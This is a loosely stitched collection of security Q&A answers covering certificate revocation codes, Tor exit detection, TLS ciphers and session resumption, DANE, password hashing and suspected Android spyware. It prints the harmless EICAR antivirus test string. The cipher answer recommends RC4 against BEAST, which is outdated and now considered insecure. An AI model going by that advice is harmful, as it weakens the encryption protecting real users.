Does Windows keep an Active Directory user token while locked?

Honestly, I don't know. What you could do is log in to a computer requiring a network connection to log on (no offline profiles), make some test connections to show that the token is working. Then lock the computer remove the network connection and log back on. Turn off your domain controller, and If you cant get onto any network shares then the computer had to re authenticate to the controller.


Attackers seem to have accessed my Chase online login information. How might this have happened?

Contact your bank and file your complain.

This can be a sign of "Refund scams".

The scammer will contact you as a fake bank officer, use a pre-crafted social engineering script to ask you to follow step to "return money" that does not belong to you.

Remember, if this is really a wrong deposit, the bank should reverse it WITHOUT your details or various personal authentication info.

check this link for detail


What are attribute certificates? Why would someone partition a certificate by reason codes?

Certificate Status and Revocation checking discusses a few of these options.

Partitioning

Although I don't know why one would partition a certificate, there is some interesting support issue with regard to Windows clients and servers.  Windows CA's don't support issuing partitioned CRLS at all.

When the Windows crypto system verifies a certificate it only checks IssuingDistributionPoint values of onlyContainsUserCerts or only ContainsCACerts.  No other fields are supported.  Furthermore, HoldInstructionCode, InvalidityDate, CertificateIssuer, or IssuerAltName extensions in the will be ignored if non critical, or fail if marked critical as per  RFC 3280.

Moreover in Windows, the “onlySomeReasons” and “indirectCRL” fields of the IDP are not supported.

CRL Reason Codes

The process of revocation invalidates a certificate before its end validity date using one of the CRL reason codes.

Note Windows does not support partitioning CRLs by reason code as either a server or a client.  I don't have further information as to what software supports partitioning (as a server or client) or why one would need it

When a certificate is revoked, it is possible for a certificate issuer to specify why the action was taken. This is done by specifying a revocation reason; these reasons are defined by RFC 3280 and include the following:

Key Compromise The token or disk location where the private key associated with the certificate has been compromised and is in the possession of an unauthorized individual. This can include the case where a laptop is stolen or a smart card is lost.
CA Compromise The token or disk location where the CA’s private key is stored has been compromised and is in the possession of an unauthorized individual. When a CA’s private key is revoked, this results in all certificates issued by the CA that are signed using the private key associated with the revoked certificate being considered revoked.
Change of Affiliation The user’s relationship with the organization has been terminated, indicated in the DN attribute of the certificate. This revocation code is most often used when an individual is terminated or has resigned from an organization. You do not have to revoke a certificate when a user changes departments, unless your security policy requires a different certificate be issued by a departmental CA.
Superseded A replacement certificate has been issued to a user, and the reason does not fall under the previous reasons. This revocation reason is most often used when a smart card fails, the password for a token is forgotten by a user, or the user’s legal name has changed.
Cease of Operation If a CA is decommissioned—no longer to be used—the CA’s certificate should be revoked with this reason code. Do not revoke the CA’s certificate if the CA no longer issues new certificates, yet still publishes CRLs for the currently issued certificates.
Certificate Hold A temporary revocation that indicates a CA will not vouch for a certificate at a specific point in time. Once a certificate is revoked with a CertificateHold reason code, the certificate can then be revoked with another Reason Code, or unrevoked and returned to use.

Note While CertificateHold allows a certificate to be “unrevoked”, it is not recommended to place a hold on a certificate, as it becomes difficult to determine if a certificate was valid for a specific time.

RemoveFromCRL If a certificate is revoked with the CertificateHold reason code, it is possible to “unrevoke” a certificate. The unrevoking process still lists the certificate in the CRL, but with the reason code set to RemoveFromCRL. This is specific to the CertificateHold reason and is only used in DeltaCRLs.
Unspecified While it is possible to revoke a certificate with the “Unspecified” reason code, it is not recommended, as it does not provide an audit trail as to why a certificate is revoked.


My site is getting hit by 3 crawlers apparently from the EU

It's essentially spam, in the form of referral headers, so it shows up in your analytics system. If they are causing a problem due to traffic volume, feel free to block them (by whatever means you like - anything with the same name structure is junk), otherwise, they don't do anything.

Don't install anything from the pages they link to though, as it can be malware, or simply open your site to other forms of attack - for example, if any of the scripts they provide had an XSS vulnerability, by running the script on your site, you open your visitors to that vulnerability too. More dangerously, if you include what appears to be benign code at the moment, it could later be changed to something more dangerous, such as a drive-by download of malware, in which case your site would be infecting users, and would suffer in terms of SEO and reputation.


This is a Parameter Tampering attack. Emphasis mine:

  The Web Parameter Tampering attack is based on the manipulation of
  parameters exchanged between client and server in order to modify
  application data, such as user credentials and permissions, price and
  quantity of products, etc. Usually, this information is stored in
  cookies, hidden form fields, or URL Query Strings, and is used to
  increase application functionality and control.

You can prevent this type of attack by not storing sensitive information client side. For example, you could calculate the price server side each time it is displayed or used. Any attempt at altering quantities would result in the new price calculation remaining accurate.

If you want to validate quantity too, for example if you are limiting the number of products a user can buy, then you should also validate this server side.


Does Computer Programming and Hacking necessarily involve math?

Sure, there is plenty of work to be done in the security field that does not need strong math skills.

First, math skills are helpful if you want to touch on the following:

Internals of Cryptography. If you want to know how encryption, hashing, signatures, etc works internally then you will need very strong math skills. That said, Many security professionals (and even many programmers / developers working with cryptography) are happy to treat crypto as a black-box; they know what it does and how to use it, but don't need to know how it works.
System / Vulnerability analysis: That is, looking at the proposed design of a piece of software, or a network and trying to find security holes in it. This does not involve math directly, but in my experience, people with advanced degrees in math have been trained to think very systematically, to break things down into classes of inputs, classes of use-cases, etc and very quickly zero in on which class is most likely to yield a vulnerability. In my experience, people without a formal training in math spend much more time doing trial-and-error to arrive at the same result.

(These are off the top of my head, I'm sure there are other examples)

That said, there are many areas of security programming and hacking that require almost no math knowledge. Really, a "security programmer" or "hacker"is someone who knows a particular technology so well that they can find little loopholes to exploit. For example, if you want to hack web pages, learn the HTTP and SQL protocols very well and find some web hacking tools that you like. If you want to hack linux servers, become very familiar with the linux command-line, the linux permission system, etc. If you know these things well enough, you'll start noticing when somebody has been sloppy is setting up a system, leaving you room to hack in. None of that needs very much math skill.


Removing vulnerabilities from uploaded files

It's a bit difficult to provide a universally applicable answer to this question as what you're looking for is vulnerabilities in the library(s) processing the image files before they are written to disk.

Converting the image from one format to another may help remove invalid content, however the conversion process itself could introduce new vulnerabilities as the data is being processed.

As such I'd suggest that pre-processing (e.g. converting or validating) the image in an isolated environment (e.g. dedicated Virtual machine or Docker container) would potentially be a good idea to reduce the risk of this processing prior to these images being viewed by your staff.


How does check.torproject.org know if you're using Tor?

In one line: they have a list of all the exit nodes (something like that).

more detailed:

I have seen this post demonstrates how to detect a Tor connection in php

function IsTorExitPoint(){
    if (gethostbyname(ReverseIPOctets($_SERVER['REMOTE_ADDR']).".".$_SERVER['SERVER_PORT'].".".ReverseIPOctets($_SERVER['SERVER_ADDR']).".ip-port.exitlist.torproject.org")=="127.0.0.2") {
        return true;
    } else {
       return false;
    }
}

function ReverseIPOctets($inputip){
    $ipoc = explode(".",$inputip);
    return $ipoc[3].".".$ipoc[2].".".$ipoc[1].".".$ipoc[0];
}

A good references explain what it does are available here:

The list of the exit nodes.
Here is a page maintained by the Tor project, that explains how to
determine if it is Tor.

Update:

From Tor offical doc that descirbes the TorDNSEL method that mitigates the drawbacks of the old method of testing exitnodes ip list:

  It is useful for a variety of reasons to determine if a connection is
  coming from a Tor node. Early attempts to determine if a given IP
  address was a Tor exit used the directory to match IP addresses and
  exit policies. This approach had a number of drawbacks, including
  false negatives when a Tor router exits traffic from a different IP
  address than its OR port listens on. The Tor DNS-based Exit List was
  designed to overcome these problems and provide a simple interface for
  answering the question: is this a Tor exit?

In ruby you have a cool Tor.rb gem that implements this technique:

Tor::DNSEL.include?("208.75.57.100")               #=> true
Tor::DNSEL.include?("1.2.3.4")                     #=> false


As you point out, if you want to detect when a new multiplexed session is opened over an existing SSH connection you will not be able to detect it at the network level, as the multiple sessions are multiplexed over a single TCP connection.

To be able to record the additional sessions you need to increase the SSH server log level, changing LogLevel in /etc/ssh/sshd_config from the default INFO to VERBOSE will record the following entries when a new session is established over an existing connection:

Running a command

Oct 13 19:02:32 server sshd[18850]: Starting session: command for myuser from 192.168.0.1 port 48196 id 1
Oct 13 19:02:32 server sshd[18850]: Close session: user myuser from 192.168.0.1 port 48196 id 1

Opening an interactive shell

Oct 13 19:11:10 server sshd[19379]: Starting session: shell on pts/5 for myuser from 192.168.0.1 port 48196 id 1

Note how the port does not change for the various sessions, while the id number identifies each separate session.

In summary: Increase the log level for sshd, then feed the ssh server logs to your SIEM and look for the appropriate log entries.


Who is author/designer/creator of PBKDF2 algorithm?

PBKDF2 (RFC 2898) was developed by RSA Laboratories as part of the PKCS series of standards.  While there has been no public recognition of the individuals who worked on this specific algorithm as far as I know, Burt Kaliski was the Chief Scientist and Editor of the PKCS at the time, (and author of RFC 2898) so its fair to give him some measure of credit for it.


Can Beehive detect a Snowden-like actor?

A backup operator will have the permission and behavioral markers of someone that moves lots of data around. Like any sysadmin where there's no dedicated backup operator in place.

Snowden was a sysadmin. He would knew all the protection protocols in place. He could just impersonate anyone, from any area, download things, impersonate the next one, and keep doing that.

If it's common knowledge that there's no bulletproof protection against a dedicated attacker, imagine a trusted internal dedicated attacker with sysadmin privileges.


How to mitigate SSL/TLS Protocol Initialization Vector Implementation Information Disclosure Vulnerability?

What does this nonsense all mean? What can I do about TLS 1.0 javascript injection vulnerability on my server?

What should I change to? Should I ignore the BEAST SSL exploit and continue to prefer AES?

An in-depth look at different cipher selections and their impact: What ciphers should I use in my web server after I configure my SSL certificate?

The cipher string

Let's take that information and inspect the default Apache cipher string as it stands while I write this:

SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP

That basically allows any cipher that authenticates. Anonymous Diffie-Hellman exchanges (ADH) are excluded from consideration (!), but everything else is just piled on there. In fact, given the ALL right at the start, only !ADH is having an effect. Everything is already included. Export ciphers, low quality ciphers (40/56 bit, etc) are all fair game for negotiating.

If we want to be very simple, RC4 (symmetric), RSA (asymmetric exchange and signing), and SHA1 (symmetric hash) are universally supported. RC4 has some academic weaknesses, but it's immune to the BEAST attack and it's also what my browser negotiates to talk to Google.

SSLCipherSuite 'ECDHE-RSA-RC4-SHA:RC4+SHA1+RSA'

Verify:

 $ openssl ciphers -v 'ECDHE-RSA-RC4-SHA:RC4+SHA1+RSA'
 ECDHE-RSA-RC4-SHA       SSLv3 Kx=ECDH     Au=RSA  Enc=RC4(128)  Mac=SHA1
 RC4-SHA                 SSLv3 Kx=RSA      Au=RSA  Enc=RC4(128)  Mac=SHA1

That takes care of set it and forget it. I put ECDHE-RSA-RC4-SHA in front because I'm a fan of using perfect forward secrecy, but it's not universally supported.

For future reference, though, here are some other things to look at if you're building a string that specifies ciphers generically:

No weak "export" ciphers: !EXP
No unauthenticated Diffie-Hellman exchanges: !ADH
We're not using a pre-shared key, so !PSK

Add on the ciphers that interest you afterward that. Use further exclusions if you need to limit something. Select specific combinations using the + sign instead of the colon. For example:

$ openssl ciphers -v '!ADH:AES+DH'
DHE-RSA-AES256-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA1
DHE-DSS-AES256-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(256)  Mac=SHA1
DHE-RSA-AES128-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA1
DHE-DSS-AES128-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(128)  Mac=SHA1

is every different from:

$ openssl ciphers -v '!ADH:AES:DH'
ECDHE-RSA-AES256-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA1
ECDHE-ECDSA-AES256-SHA  SSLv3 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA1
DHE-RSA-AES256-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA1
DHE-DSS-AES256-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(256)  Mac=SHA1
AECDH-AES256-SHA        SSLv3 Kx=ECDH     Au=None Enc=AES(256)  Mac=SHA1
ECDH-RSA-AES256-SHA     SSLv3 Kx=ECDH/RSA Au=ECDH Enc=AES(256)  Mac=SHA1
ECDH-ECDSA-AES256-SHA   SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=AES(256)  Mac=SHA1
AES256-SHA              SSLv3 Kx=RSA      Au=RSA  Enc=AES(256)  Mac=SHA1
PSK-AES256-CBC-SHA      SSLv3 Kx=PSK      Au=PSK  Enc=AES(256)  Mac=SHA1
ECDHE-RSA-AES128-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA1
ECDHE-ECDSA-AES128-SHA  SSLv3 Kx=ECDH     Au=ECDSA Enc=AES(128)  Mac=SHA1
DHE-RSA-AES128-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA1
DHE-DSS-AES128-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(128)  Mac=SHA1
AECDH-AES128-SHA        SSLv3 Kx=ECDH     Au=None Enc=AES(128)  Mac=SHA1
ECDH-RSA-AES128-SHA     SSLv3 Kx=ECDH/RSA Au=ECDH Enc=AES(128)  Mac=SHA1
ECDH-ECDSA-AES128-SHA   SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=AES(128)  Mac=SHA1
AES128-SHA              SSLv3 Kx=RSA      Au=RSA  Enc=AES(128)  Mac=SHA1
PSK-AES128-CBC-SHA      SSLv3 Kx=PSK      Au=PSK  Enc=AES(128)  Mac=SHA1
DHE-RSA-CAMELLIA256-SHA SSLv3 Kx=DH       Au=RSA  Enc=Camellia(256) Mac=SHA1
DHE-DSS-CAMELLIA256-SHA SSLv3 Kx=DH       Au=DSS  Enc=Camellia(256) Mac=SHA1
EDH-RSA-DES-CBC3-SHA    SSLv3 Kx=DH       Au=RSA  Enc=3DES(168) Mac=SHA1
EDH-DSS-DES-CBC3-SHA    SSLv3 Kx=DH       Au=DSS  Enc=3DES(168) Mac=SHA1
DHE-RSA-SEED-SHA        SSLv3 Kx=DH       Au=RSA  Enc=SEED(128) Mac=SHA1
DHE-DSS-SEED-SHA        SSLv3 Kx=DH       Au=DSS  Enc=SEED(128) Mac=SHA1
DHE-RSA-CAMELLIA128-SHA SSLv3 Kx=DH       Au=RSA  Enc=Camellia(128) Mac=SHA1
DHE-DSS-CAMELLIA128-SHA SSLv3 Kx=DH       Au=DSS  Enc=Camellia(128) Mac=SHA1
EDH-RSA-DES-CBC-SHA     SSLv3 Kx=DH       Au=RSA  Enc=DES(56)   Mac=SHA1
EDH-DSS-DES-CBC-SHA     SSLv3 Kx=DH       Au=DSS  Enc=DES(56)   Mac=SHA1
EXP-EDH-RSA-DES-CBC-SHA SSLv3 Kx=DH(512)  Au=RSA  Enc=DES(40)   Mac=SHA1 export
EXP-EDH-DSS-DES-CBC-SHA SSLv3 Kx=DH(512)  Au=DSS  Enc=DES(40)   Mac=SHA1 export

Is this a worthy issue?

We're weighing academic vulnerabilities. RC4 is academically weaker than AES. AES is academically weaker if you get the client to run undesired code.

It's good to be informed of risks, but after doing some searching people are coming across this issue as a result of PCI-DSS scans. The auditor is seeing this in their automated tool and reacting. If the end user is running undesired code, then a greater root issue happened: Your site is compromised through something like XSS and you need to fix that or their machine is compromised (directly or running cross-site code from another site) and the attacker can probably run even more malicious software. Modern browsers should be adapting by kicking out a one byte packet at the start of the connection to crank the padding up and negate the attack too.

In a lot of ways, it's really on the client here. If you're going to concern yourself with client privacy, ensuring your site is not compromised is the higher order issue in my mind. Given that, SSL doesn't do a lot to help a client that is running something locally malicious, so now we're back to looking at the stronger AES cipher.

... but, to pass the audit without an argument and watch your customers' backs (basically what Google is trying to do to some margin), RC4 gets you there today. Hopefully a higher version of TLS gets everybody there tomorrow, but that progress is practically glacial.


Reasons why there are no web based unified email clients (with OAuth2)?

You're correct, this is possible if the mail provider offers a mechanism to access user email using OAuth 2.0. However, not all online mail providers allow full IMAP access using an OAuth 2.0 token. From a quick glance around the web the only provider I found that allowed full IMAP access was Google. Office365 and Yahoo both only allow user email access through the use of an API. I'm assuming this idea isn't popular because of the interoperability issues. If you implemented this users could only consolidate their emails from a few online email providers instead of all their emails from every email provider when using a native client.


Using public keys as universally unique ids

A Bitcoin ID is an ECC public key using the curve SECP 256K1, which means it is 256 bit long. The question if one of your billion keys ($10^{12}$) collide, is solved by the birthday problem. The probability that a collission occurs is approximately $p(10^12;2^256) = 1-(\frac{2^256-1}{2^256})^{10^12\frac{10^12-1}{2}}$ which is approximately $4 * 10^{-54}$.


Zero-day is not a useful categorisation for assessing risk.
In terms of risk what matters is:

Is this bug being actively exploited in the wild?
How wide spread is the knowledge of this bug?
How hard would it be to reproduce an exploit of this bug, given the publicly available knowledge of this bug.

The new version of firefox is available so knowledge of this bug has been published (at least the source code changes required to fix it). I don't have knowledge of how hard it would be to reproduce the exploit.

The urgency with which you should patch is dependent on your expected advisories, are you of interest to governments or organised criminals? If so update now. If not follow your normal process for security updates.

When the bug was used in Pwn2Own the bug was a "Zero-day", i.e. the vendor was not aware of it. Once it was disclosed to Firefox (one of the conditions of Pwn2Own) it stopped being a "Zero-day", i.e. the vendor was aware.


How does the blockchain prevent just theft of data?

A blockchain guarantees the integrity of the data that's on it. It doesn't aim to keep anything confidential. If there's any mechanism to prevent “stealing” some data, it isn't a blockchain.

Any data that's on the blockchain is public (assuming that the blockchain itself is public). Accessing that data is not “stealing” since the data is meant to be public.

It is, however, possible for a blockchain to contain only a hash of certain information, but not the information itself. In this case, if think you have the information, you can verify that it is correct by validating its hash on the blockchain; but if you don't have the information then you can't find it except by guessing and validating your guess (which is impossible if the secret information includes a sufficiently large random value).

With respect to Bitcoin and other similar cryptocurrencies, they are not anonymous! All transactions are public, and the public information includes the identity of the sender and the recipient. They are however customarily pseudonymous: the identity (“address” in Bitcoin terminology) of a participant is their public key, and there is nothing that ties this public key to anything but the history of the transactions made with that key. On the blockchain, you aren't “John Smith”, you're 14835649238 when you buy and spend this particular coin, and 18365173562 when you buy and send this other coin (and there's no information to say that 14835649238 and 18365173562 are the same person), etc. Analyzing transactions may reveal spending patterns and may hint (but does not prove) that certain transactions were made by the same person (e.g. when a transaction has multiple spenders, it's typically multiple coins that were owned by the same person).


What can be tracked by my boss if I am logged into my work Gmail but using private Wi-Fi at home

If the Google account you were logged in as is now under the control of your boss (as per this question), he can go to his search history page and see all terms that were searched for under that account.

That said, I suspect he probably isn't aware of this, so I wouldn't worry too much. It's a lesser-known feature of Google, and it probably wouldn't occur to him to check it out anyway. I should also point out that, in the unlikely eventuality that he does discover your search history, any attempt to blackmail or leverage you would be a very serious crime in almost any country. You'll likely find that you're protected by anti-discrimination laws, privacy laws, human rights laws, employment law, and a whole range of other legislation at the state, national, and international level.

On a more personal note, I recommend looking up LGBQT charities and advice groups in your area (on a private browsing tab, if you wish) to see if they can provide you with guidance and support in relation to your situation. Stonewall is the biggest advice group in the UK, and It Gets Better is a major US organisation with similar services and goals. They have experience with employment issues, discrimination cases, and the difficulties people face in coming out - they may be able to help put your mind at ease about what you're going through.

Best of luck and I hope it all works out.


Is it safe to keep a virus' binary code on your local machine?

A virus binary is just like any other file. If it's not executed, then it is just data.

Note that there are other possible avenues that a virus could be activated without your consent. For example, if your computer is set up to automatically display thumbnail from an image file, and the virus exploits a buffer overflow in the image parser of the thumbnail generator, so you can accidentally execute the virus just by opening the directory where the virus is located. As long as you know the activation vector of the virus though, and you avoid those, keeping a virus file in the filesystem should be fine.

You should use an EICAR file if you want to test virus detection:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


Not any sort of vulnerability; simply a usability issue that might affect users visiting the site from a malformed URL.

It is not an easy way to perform a DOS attack, because there is no evidence that this is taking any more resources on the server than hitting non-redirecting set of pages, or preventing other users from accessing different pages.  You can set your browser to visit this redirect loop, but you can also use scripting tools or browser extensions to request any other page on the site repeatedly.  This is a flood attack, and does not depend on any vulnerability on the server.


How to display friendly notification about no TLS 1.0 support in browser

You can't get a nice notification to the user without establishing the TLS connection first. This means that your server or some middlebox (load balancer) in between must still be able to talk TLS 1.0. But you then could then check the protocol version of the client inside your web application and show the nice notification there. But, if and how this can be done depends on your web server and application framework.


Sensitive data enumeration via HTTP error codes

So the vulnerability is that returning an error code allows enumeration of the registered phone numbers. If allowing the registered numbers to be disclosed is bad, then this is a security issue.

  A more general 401 - not authorized error

No, you've just changed the text - you haven't changed the behaviour.

There are lots of things you might do to make the solution more secure - but we have no basis for knowing which are appropriate to your fictitious model, e.g.

always report success
don't use phone numbers - use a surrogate identifier (with much higher entropy) and require the client to maintain their lookup tables
require authenticated access and revoke that access based on failure rates
seed the data with honeypots and revoke clients access when it attempts to use one
limit the rate at which a client can make requests
charge the client for each POST
require recipients to opt-in to receive messages from a given client - return the same error for a missing number as one which has not granted permission
...

  assuming that request limits/detection mechanisms are already in place

So you are saying that you have protection mechanisms in place, but they don't protect against enumeration? Then your question is an oxymoron.


New denial-of-service vulnerability in TLS protocol, based on shooting down other users' sessions?

To summarize:

It may work, or not, depending on how the server manages its cache for session parameters.
The RFC are not consistent.
It is not a "real" vulnerability.

TLS sessions were initially meant to be an optimization, to avoid client and server doing the full handshake with its "heavy asymmetric crypto" for each connection (the actual cost of such crypto is often overrated but that's not the point). Existing, deployed clients and servers tend to remember sessions for some time, then forget them when it becomes inconvenient to keep remembering (typically, on the server side, when the RAM buffer dedicated to such storage is full, old sessions are evicted). The idea is still that client and server may still do a full handshake, transparently, when needed; the session resumption is opportunistic.

Some deployed systems rely on session resumption to work a bit more reliably; in particular, Web-based applications with client authentication with a smart card: using the smart card implies making a signature with the card, which has a small computational cost (say 1 second) and a high user cost (the human user may have to type a PIN code). However, even in these cases, it is understood that session parameters are stored in RAM only, so if the client browser is closed and then reopened, no session will be resumed and a full handshake will occur.

RFC 5246, in section 7.2.2, contains this paragraph:

  Error handling in the TLS Handshake protocol is very simple.  When
  an error is detected, the detecting party sends a message to the
  other party.  Upon transmission or receipt of a fatal alert
  message, both parties immediately close the connection.  Servers
  and clients MUST forget any session-identifiers, keys, and secrets
  associated with a failed connection.  Thus, any connection
  terminated with a fatal alert MUST NOT be resumed.

This is a blanket statement meant, informally, to deter some as yet unspecified brute force attacks relying on the attacker "trying out" a lot of session resumptions. There are a few enlightening points that must be made about that prescription:

Historically, sessions had also to be "forgotten" when a connection was not properly closed (with an explicit close_notify). However, existing Web servers close connection abruptly, so Web browsers have adapted by keeping sessions "alive" even when they were terminated in a way that TLS-1.0 would frown upon.
This notion of forgetting the session upon a fatal alert does not work on the server when session tickets are used, since, by definition, a server with session tickets does not manage his own memory. In that respect, RFC 5077 and RFC 5246 are inconsistent: this "MUST NOT be resumed" cannot be enforced by a server that uses session tickets.

It so happens that most SSL implementations are reluctant to break laws of physics in order to comply to RFC.
Even without sending an alert, a "fatal condition" can always be forced by an attacker: it suffices for the attacker to open a connection by himself, reusing the same session ID as a connection used by the genuine client. The server will try to resume the session (ServerHello, ChangeCipherSpec, Finished) then expect the ChangeCipherSpec then Finished from the client. Since the client is the attacker and the attacker does not know the master key for the session he is purporting to resume, his Finished message won't decrypt properly, triggering a bad_record_mac from the server. If section 7.2.2 is to be followed, then the server should then forget the session.

It shall be pointed out that the "kill the session by failed Finished" attack expressed in the previous paragraph may be easier to pull off than the one you are describing, since it involves only observing a genuine connection (to get the session ID), not modifying that connection.

The third point above is important because it shows that until it has received a properly encrypted-and-MACed Finished message from the client, the server has no proof that it is really talking to the real client. Arguably, the session is not "resumed" until that point, and therefore should not be "invalidated" for any erroneous condition occurring before that point (be it an explicit alert from the client, or a MAC failure, or anything else). However, the RFC is not clear about that either, so what really happens really depends on how the server manages its cache, at the whims of the server implementor.

The vulnerability is not "real" in that any attacker who is in position to fiddle with client connections can already do a lot more harm by, for instance, responding to the client's ClientHello message with a synthetic alert message or simply random junk that will convince the client that there is no working SSL/TLS server on the other side -- a much more comprehensive denial-of-service than simply making the server and client spend a couple of milliseconds of CPU for a full handshake.


How hard it would be to infect a system with malware through a portable web browser

It doesn't matter where your run your browser from. You can run it off of your USB drive or off a network share, it still goes into system memory. Malware that would exploit that browser would have the privileges of the user that ran the browser.

Use Chrome or any other browser to browse to file:///C:/ or about:memory. The browser like any other process, has access to all of your computer, provided the user has access there.

If malware breaks through the browser sandboxes and executes code then the malware takes control of the browser and can do whatever it wishes.

This is a Chrome exploit in action https://www.youtube.com/watch?v=c8cQ0yU89sk (allegedly)


How can Chromium access my Firefox history?

Your data is stored in files under your user profile. Programs running under your user account (or as root) can read any file in your user profile. The data formats differ between browsers, but all major browsers have code to import profiles from all other major browsers as part of their "make it easy for users to switch to using us" strategies. The only way you could prevent such cross-application data sharing would be to use some kind of sandboxing (run each browser in a different chroot, or a different VM, or as different users), or for the browser developers to make it possible to do things like encrypt the data files with a user-supplied password, and then you could just not supply Chromium the password for Firefox's data.

Of course, all of that only answers the "How" portion of the question. There's still a "Why" question, since usually such data import requires explicit user action and I would not expect it at all when launched with a --temp-profile parameter, but there we couled only speculate (or ask the developers).


The major difference between hash and MAC is that anyone can calculate the first, but only those with the secret key can calculate the latter. For example, in the HTTPS protocol, a shared key is established between the server and client, and with that key, a MAC can be calculated on the data transferred. No one else may calculate the MAC themselves and therefore they cannot modified the data without being detected. Suppose HTTPS use SHA256 instead, then anyone can just inject their own data and the corresponding hash themselves. The hash would only be useful to defend against accidental corruption.


This information was taken from the article from noflex.org: Implementing DNSSEC and DANE for email (archive.org snapshot). Here some summary of this long article

What you need is:

DNSSEC capable nameserver
DNSSEC capable registrar
DNSSEC capable resolver MTA with DANE support

To use DANE in mail server, first you must enable DNSSEC for your domain foo.com as DNSSEC was requirement for DANE. The DNSSEC key also was copied to registar. After that specify MX record(s) for this domain, for example mail.bar.com. mail.bar.com record should be queried with DNSSEC too.

Now, SMTP client perform DANE for mail.bar.com, the hostname obtained from MX record of foo.com. To do that, client will perform query to _25._tcp.mail.bar.com.Remember that SMTP is talk through TCP port 25.

So you must add the hash of your-SMTP-server-certificate to  _25._tcp.mail.bar.com with type: TLSA.

Now, SMTP may perform verifying peername. To pass it, you should set CN for the certificate with hostname obtained from MX record e.g. mail.bar.com. See this discussion about it in SF: What host name should the SSL certificate for an SMTP server contain?


I've never seen configuration in Apache or nginx which would seem to
  indicate support for anything other than file-based SSL private keys.

You are using the Yubikey as a Hardware Security Module (HSM). They key is stored on and never leaves the HSM and all encryption and decryption is done on the HSM. The Yubikey seems to fulfill such the requirements.

You might need to write your own PKCS#11 driver since there isn't one out there. For the server side, you would have to use mod_nss instead of mod_ssl. mod_nss allows you to use a custom PKCS#11 driver whereas mod_ssl uses the default openssl engine.

Compared with other purpose built HSMs, I am unsure of the stability of using the Yubikey as a HSM. This is because the main use case of a yubikey is for applications which require one-time access, e.g. authentication, encrypting an email and not for applications which require continuous access. A server under load might overwhelm the Yubikey and result in sluggish performance.


Is it safe to hash passwords on the users device?

This completely depends on what the server does with the provided hash. If the server simply puts that hash into its database, and then compares the hash you send to the value in the database, then yes, that would have the problems you describe.

Instead, the way this should be done is to first stretch the password locally, and then hash again on the server. "Stretching" means to apply a time-intensive key derivation function (KDF), most commonly PBKDF2. This mixes additional "salt" data into the password, and applies a hash function in a specific way to convert a human-provided password into something that is "effectively random." How that salt data is generated depends on the system. It may be random, or it may be based on some static but unique piece of information such as the user's id. There are several approaches here that provide reasonable trade-offs.

The resulting stretched value should then be sent to the server. Doing it this way ensures that the server never sees the user's actual password.

Once the server has this value, it should then apply some fast cryptographic hash function (SHA-2 most commonly) to that value and use that hash to compare to the database value. Doing it this way ensures that even if an attacker has access to the database, they cannot use that to directly login.

Based on your edit, I suspect that what they're actually sending is an encrypted password or encrypted hash. They are probably encoding something like a timestamp in the encryption. Whether this is implemented in a secure way depends highly on the details, but there is nothing inherently insecure about this approach. (The fact that old hashes are reusable is not ideal, but whether it is a significant concern depends on the rest of the system.)

As a first guess, I would assume it's insecure and badly designed, but only because this is always the working assumption when assessing a security system until proven otherwise. Without exploring the details, it's not possible to evaluate this system, but nothing you've described is incompatible with a good system.


Decoding requests from potentially malicious Android app

Yes, this is malware. Or 'Spyware', depending on which book on the subject you last read and which side of the bed you got out of this-morning.
Your question piqued my interest when i saw that i've actually seen the same domain while looking at another app myself. I thought it seemed unlikely we were alone, so i google'd it and found this:

The Airbnb Android App contains Spyware.

Based on this post we can assume that the suspect-at-best code now uses a secret key to encrypt data rather than gzip it.

I think its most likely that this is code that has made its way into some popular library/framework for the purposes of gathering statistical information about users/devices, or that it's part of another ad-platform library. Regardless, the term 'spyware' still fits. This data harvesting is clearly going far beyond what the app has a legitimate purpose for, and neither the Android or iOS ecosystems are particularly friendly to this sort of thing.

The subdomain even has a pretty big malware ring to it. 'infoc2'... as in C2... as in Command and Control.

I recommend emailing the company behind the app, they might not know what is going on here and they might thank you. If it was legitimately added, you might scare them into removing it. And if you don't get a response at all i would report the developers to Android/Google.

I you are still keen to get the plaintext of the payload, i would suggest decompiling the app and looking at its strings, you might get lucky and find the key. Without knowing the encryption scheme you would have to loop over a bunch of them in a script and just brute-force it.
However, my hunch would be that the developers of this have probably rolled their own basic crypto, in which case you would need to reverse engineer this function from the binary or attempt to force the app to bypass it with dynamic runtime modifications so that requests contained plaintext (look at a framework called 'Substrate' for this).


Practically, when good password policies are used, how much is gained from SSH keys?

It might help to think of the authentication to SSH in stages and layers.

The first stage (building the first layer) involves establishing a symmetric encryption channel.  This is done by using something called Diffie-Hellman (explanation here.) Once the encrypted channel is formed authentication starts.

Password Auth

In a traditional password example, the password is then passed to the server over this encrypted channel.

The risk here is that the password is reversible if you happen to have knowledge of the symmetric key that was negotiated.  Further the password has to exist in some state on both systems.

Key Authentication

In the key model, it's more complicated but at the core it uses the asymmetric crypto properties: the server encrypts a nonce with the public key component, and since the client should have the private key it can decrypt the nonce and send back the md5hash to the server to verify it's identity. (Digital Ocean has a good explanation.)

Tl;DR:  in the password case, both sides must have knowledge of the password.  This leads you open to a leak/reuse style attack on the password.

In the key case, only the public key is required to verify the user.  The private key stays private and only needs to exist on the client side.  You can share the public key with as many services as you like and not change the risk associated with using the keypair.


Is there a benefit of using stateless JWT over SHA256 hash for API tokens?

Does it make sense to use stateless JWT (without persistent storage)
  over plain SHA256?

What you're essentially doing with "plain SHA256" is signing the data and sending the data + signature separately. JWT encodes both the signature and the data together, but in both cases you're basically signing the data sending the signature + data.

In essence both a and b are doing fundamentally the same thing.

